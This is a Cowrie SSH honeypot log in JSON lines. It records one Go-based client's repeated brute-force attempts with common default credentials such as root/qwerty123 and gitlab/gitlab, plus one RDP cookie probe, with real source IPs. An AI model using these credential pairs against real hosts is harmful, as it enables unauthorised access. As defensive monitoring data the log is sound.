{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:46.305042Z","src_ip":"192.109.200.237","session":"4d82fbd0f9ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"123456789","message":"login attempt [debian/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:46.549931Z","src_ip":"192.109.200.237","session":"4d82fbd0f9ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:47.636696Z","src_ip":"192.109.200.237","session":"4d82fbd0f9ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":43540,"dst_ip":"159.203.135.109","dst_port":22,"session":"2319ed0a53da","protocol":"ssh","message":"New connection: 192.109.200.237:43540 (159.203.135.109:22) [session: 2319ed0a53da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:49.398162Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:49.402420Z","src_ip":"192.109.200.237","session":"2319ed0a53da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:49.484288Z","src_ip":"192.109.200.237","session":"2319ed0a53da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"username","message":"login attempt [username/username] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:49.732832Z","src_ip":"192.109.200.237","session":"2319ed0a53da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:50.817166Z","src_ip":"192.109.200.237","session":"2319ed0a53da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47110,"dst_ip":"159.203.135.109","dst_port":22,"session":"4311fce73fa2","protocol":"ssh","message":"New connection: 192.109.200.237:47110 (159.203.135.109:22) [session: 4311fce73fa2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:52.582740Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:52.588252Z","src_ip":"192.109.200.237","session":"4311fce73fa2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:52.671980Z","src_ip":"192.109.200.237","session":"4311fce73fa2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123","message":"login attempt [user/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:53.043410Z","src_ip":"192.109.200.237","session":"4311fce73fa2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:54.132700Z","src_ip":"192.109.200.237","session":"4311fce73fa2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47114,"dst_ip":"159.203.135.109","dst_port":22,"session":"f24cea2f1324","protocol":"ssh","message":"New connection: 192.109.200.237:47114 (159.203.135.109:22) [session: f24cea2f1324]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:55.951199Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:55.955280Z","src_ip":"192.109.200.237","session":"f24cea2f1324","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:56.037024Z","src_ip":"192.109.200.237","session":"f24cea2f1324","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zarghami","password":"123456","message":"login attempt [zarghami/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:56.283875Z","src_ip":"192.109.200.237","session":"f24cea2f1324","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:57.370094Z","src_ip":"192.109.200.237","session":"f24cea2f1324","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47124,"dst_ip":"159.203.135.109","dst_port":22,"session":"1422e95aa99d","protocol":"ssh","message":"New connection: 192.109.200.237:47124 (159.203.135.109:22) [session: 1422e95aa99d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:59.133293Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:59.138135Z","src_ip":"192.109.200.237","session":"1422e95aa99d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:59.219770Z","src_ip":"192.109.200.237","session":"1422e95aa99d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"localhost","password":"localhost","message":"login attempt [localhost/localhost] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:59.467826Z","src_ip":"192.109.200.237","session":"1422e95aa99d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:00.552820Z","src_ip":"192.109.200.237","session":"1422e95aa99d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":46914,"dst_ip":"159.203.135.109","dst_port":22,"session":"987c1182cbf0","protocol":"ssh","message":"New connection: 192.109.200.237:46914 (159.203.135.109:22) [session: 987c1182cbf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:02.245099Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:02.250066Z","src_ip":"192.109.200.237","session":"987c1182cbf0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:02.333628Z","src_ip":"192.109.200.237","session":"987c1182cbf0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty123","message":"login attempt [root/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:02.676370Z","src_ip":"192.109.200.237","session":"987c1182cbf0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:03.762393Z","src_ip":"192.109.200.237","session":"987c1182cbf0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":46916,"dst_ip":"159.203.135.109","dst_port":22,"session":"64f80e43f003","protocol":"ssh","message":"New connection: 192.109.200.237:46916 (159.203.135.109:22) [session: 64f80e43f003]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:05.536764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:05.677284Z","src_ip":"192.109.200.237","session":"64f80e43f003","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:05.689309Z","src_ip":"192.109.200.237","session":"64f80e43f003","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab","password":"gitlab","message":"login attempt [gitlab/gitlab] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:06.028453Z","src_ip":"192.109.200.237","session":"64f80e43f003","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":49828,"dst_ip":"10.17.0.5","dst_port":22,"session":"f39b98b6bb57","protocol":"ssh","message":"New connection: 152.42.212.128:49828 (10.17.0.5:22) [session: f39b98b6bb57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:07.146217Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:07.150779Z","src_ip":"192.109.200.237","session":"64f80e43f003","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:07.155564Z","src_ip":"152.42.212.128","session":"f39b98b6bb57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:07.159155Z","src_ip":"152.42.212.128","session":"f39b98b6bb57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":46928,"dst_ip":"159.203.135.109","dst_port":22,"session":"74ddb807660e","protocol":"ssh","message":"New connection: 192.109.200.237:46928 (159.203.135.109:22) [session: 74ddb807660e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:08.852957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:08.858484Z","src_ip":"192.109.200.237","session":"74ddb807660e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:08.940843Z","src_ip":"192.109.200.237","session":"74ddb807660e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test@123","message":"login attempt [test/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:09.188008Z","src_ip":"192.109.200.237","session":"74ddb807660e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:10.275097Z","src_ip":"192.109.200.237","session":"74ddb807660e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":48886,"dst_ip":"159.203.135.109","dst_port":22,"session":"80b490de4353","protocol":"ssh","message":"New connection: 192.109.200.237:48886 (159.203.135.109:22) [session: 80b490de4353]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:12.095234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:12.100121Z","src_ip":"192.109.200.237","session":"80b490de4353","protocol":"ssh"}
